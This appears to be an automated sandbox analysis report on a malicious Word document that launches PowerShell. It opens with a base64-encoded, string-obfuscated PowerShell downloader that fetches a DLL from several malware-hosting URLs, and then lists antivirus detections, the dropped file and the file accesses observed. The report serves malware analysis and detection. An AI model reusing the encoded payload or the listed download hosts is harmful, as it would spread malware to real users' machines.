ADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3ACcAKQArACgAJwB1ACAAZAAnACsAJwBiACcAKQArACgAJwAgAG4AJ

                      Signature Overview

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection:

                      barindex
                      Antivirus detection for URL or domainShow sources
                      Source: http://3musketeersent.net/wp-includes/TUgD/Avira URL Cloud: Label: malware
                      Source: http://dashudance.com/thinkphp/dgs7Jm9/Avira URL Cloud: Label: malware
                      Source: http://shannared.com/content/lhALeS/Avira URL Cloud: Label: malware
                      Source: http://mmrincs.com/eternal-duelist-9cuqv/jxGQj/Avira URL Cloud: Label: malware
                      Source: http://leopardcranes.com/zynq-linux-yaayf/w/Avira URL Cloud: Label: malware
                      Multi AV Scanner detection for domain / URLShow sources
                      Source: http://3musketeersent.net/wp-includes/TUgD/Virustotal: Detection: 8%Perma Link
                      Source: https://skilmu.com/wp-admin/hQVlB8b/Virustotal: Detection: 10%Perma Link
                      Source: http://jeevanlic.com/wp-content/r8M/Virustotal: Detection: 14%Perma Link
                      Source: http://dashudance.com/thinkphp/dgs7Jm9/Virustotal: Detection: 14%Perma Link
                      Multi AV Scanner detection for dropped fileShow sources
                      Source: C:\Users\user\Kaktksw\An6othh\N49I.dllReversingLabs: Detection: 54%
                      Multi AV Scanner detection for submitted fileShow sources
                      Source: ARCH_25_012021.docVirustotal: Detection: 16%Perma Link
                      Source: ARCH_25_012021.docReversingLabs: Detection: 26%
                      Machine Learning detection for dropped fileShow sources
                      Source: C:\Users\user\Kaktksw\An6othh\N49I.dllJoe Sandbox ML: detected
                      Source: 12.2.rundll32.exe.240000.0.unpackAvira: Label: TR/ATRAPS.Gen
                      Source: 8.2.rundll32.exe.740000.1.unpackAvira: Label: TR/ATRAPS.Gen
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 16_2_0028CC2A CryptDecodeObjectEx,16_2_0028CC2A

                      Compliance:

                      barindex
                      Uses new MSVCR DllsShow sources
                      Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
                      Binary contains paths to debug symbolsShow sources
                      Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2090409457.0000000002DC7000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2090409457.0000000002DC7000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2090409457.0000000002DC7000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2090409457.0000000002DC7000.00000004.00000040.sdmp
                      Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2090409457.0000000002DC7000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2090409457.0000000002DC7000.00000004.00000040.sdmp
                      Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2090288416.0000000002930000.00000002.00000001.sdmp
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\userJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppDataJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.iniJump to behavior